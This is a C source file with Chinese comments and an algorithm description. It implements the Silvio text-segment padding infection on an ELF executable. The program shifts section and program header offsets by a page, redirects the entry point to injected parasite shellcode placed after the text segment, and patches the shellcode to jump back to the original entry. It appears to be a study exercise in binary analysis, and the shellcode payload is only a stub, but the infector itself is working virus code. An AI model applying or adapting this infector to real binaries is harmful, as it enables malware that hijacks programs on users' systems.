#include <stdio.h>
#include "elf.h"
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

/*
 * Silvio填充感染
 *
 * 这里和linux二进制分析中稍有出入
 */



#define PAGE_SIZE 4096*3
#define TMP "test2"
#define JMP_PATCH_OFFSET 1

char parasite_shellcode[] = "\xb8\x00\x00\x00\x00\xff\xe0";

/* 寄生代码的注入 */
void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, 
                    size_t end_of_text, uint8_t *parasite, 
                    uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
{
    int ofd;
    unsigned int c;
    int i, t = 0;
    int ret;

    /* 打开临时文件，存放注入寄生代码的程序 */
    ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
    /* 写入原始text段(包含文件头到text段尾部) */
    ret = write (ofd, mem, end_of_text);
    /* 在寄生程序后的下一个地址，也就是寄生程序执行结束后，执行的下一个位置，写入宿主程序的原入口点 */
    *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
    /* 写入寄生程序代码 */
    write (ofd, parasite, psize);
    /* 将写入位置向后推，直到加上寄生代码长度总共为PAGE_SIZE的长度 */
    lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
    mem += end_of_text;
    unsigned int sum = end_of_text + PAGE_SIZE;
    /* 宿主程序长度减去text段长度就是剩余段的长度 */
    unsigned int last_chunk = hsize - end_of_text;
    /* 写入剩余部分 */
    write (ofd, mem, last_chunk);
    close (ofd);
}

/*
 * text段感染函数。
 *
 * host: 被感染的宿主程序名
 * base: 被感染程序运行时的内存地址
 * payload: 寄生代码
 * parasite_len: 寄生代码的长度
 *
 */
int silvio_text_infect(char* host, void* base, void* payload, size_t parasite_len)
{
    /*
     * 第一步：修改文件头，将节头表偏移增大一个内存页的长度
     */
    Elf64_Addr old_e_entry;
    Elf64_Addr o_text_filesz;
    Elf64_Addr parasite_vaddr;
    uint64_t end_of_text;
    int found_text;
    uint8_t *mem = (uint8_t *)base;
    uint8_t *parasite = (uint8_t *)payload;
    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
    Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
    Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
    ehdr->e_shoff += PAGE_SIZE;     /* 修改节头偏移 */
    struct stat statbuf;

    /*
     * Adjust program headers
     */
    int i, j;
    for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {

    /* 修改文件头，将程序入口修改到shellcode的位置，shellcode的位置就是text段的尾部 */
    if (phdr[i].p_type == PT_LOAD) {
        if (phdr[i].p_offset == 0) {
            o_text_filesz = phdr[i].p_filesz;
            end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
            parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
            old_e_entry = ehdr->e_entry;    /* 保存原始入口点，等shellcode执行完毕后跳回原始入口并开始执行正常逻辑 */
            ehdr->e_entry = parasite_vaddr;
            phdr[i].p_filesz += parasite_len;
            phdr[i].p_memsz += parasite_len;
            //ehdr->e_shoff += parasite_len;
            for (j = i + 1; j < ehdr->e_phnum; j++)
                if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
                    phdr[j].p_offset += PAGE_SIZE;
                    //phdr[j].p_offset += parasite_len;
            }
        break;
        }
    }
    /* adjust section headers */

    /* 修改节头，因为寄生代码是存放在text段内最后一个节的里面，所以对最后一个节进行体积增加,
     * 并且对后面的节进行偏移修改，增加PAGE_SIZE长度
     */
    for (i = 0; i < ehdr->e_shnum; i++) {
        if (shdr[i].sh_addr > parasite_vaddr)
            shdr[i].sh_offset += PAGE_SIZE;
            //shdr[i].sh_offset += parasite_len;
        else
            /* 增加寄生代码的长度 */
            if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
                shdr[i].sh_size += parasite_len;
    }
    stat(host,&statbuf);
    int size = statbuf.st_size;
    insert_parasite(host, parasite_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
    return 0;

}

int main()
{
    FILE *file;
    int fd, i, c;
    struct stat statbuf;

    fd = open ("./test", O_RDONLY);
    stat("./test",&statbuf);
    int size = statbuf.st_size;
    char dest[size];
    c = read (fd, dest, size);
    silvio_text_infect("./test", dest, parasite_shellcode, sizeof(parasite_shellcode));

    return 0;
}

#if 0

感染算法

    将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小

    [^PAGE_SIZE]: 一个内存页的长度
    [^ehdr_shoff]: 节头表偏移，如果二进制文件有节头表，节头表在文件格式布局的底部，向上紧挨着的就是每个节(段)的内容，寄生代码注入到了text段后面，即被注入到text段中最后一个节的后面，这样让后面剩余节内容、节头表都想后移动一个内存页的大小

    定位text段的程序头表

        将elf文件头中的程序入口点修改为寄生代码的地址

        ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz

        将 phdr[TEXT].p_filesz 增加寄生代码的长度值

        将 phdr[TEXT].p_memsz 增加寄生代码的长度值。

    对每个 phdr，如果对应的段位于寄生代码之后，则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节。

    找到 text 段的最后一个 shdr，将 shdr[x].sh_size 增加寄生代码的长度值（因为在这个节中将会存放寄生代码）。

    对每个位于寄生代码插入位置之后的 shdr，将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。

    将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz

#endif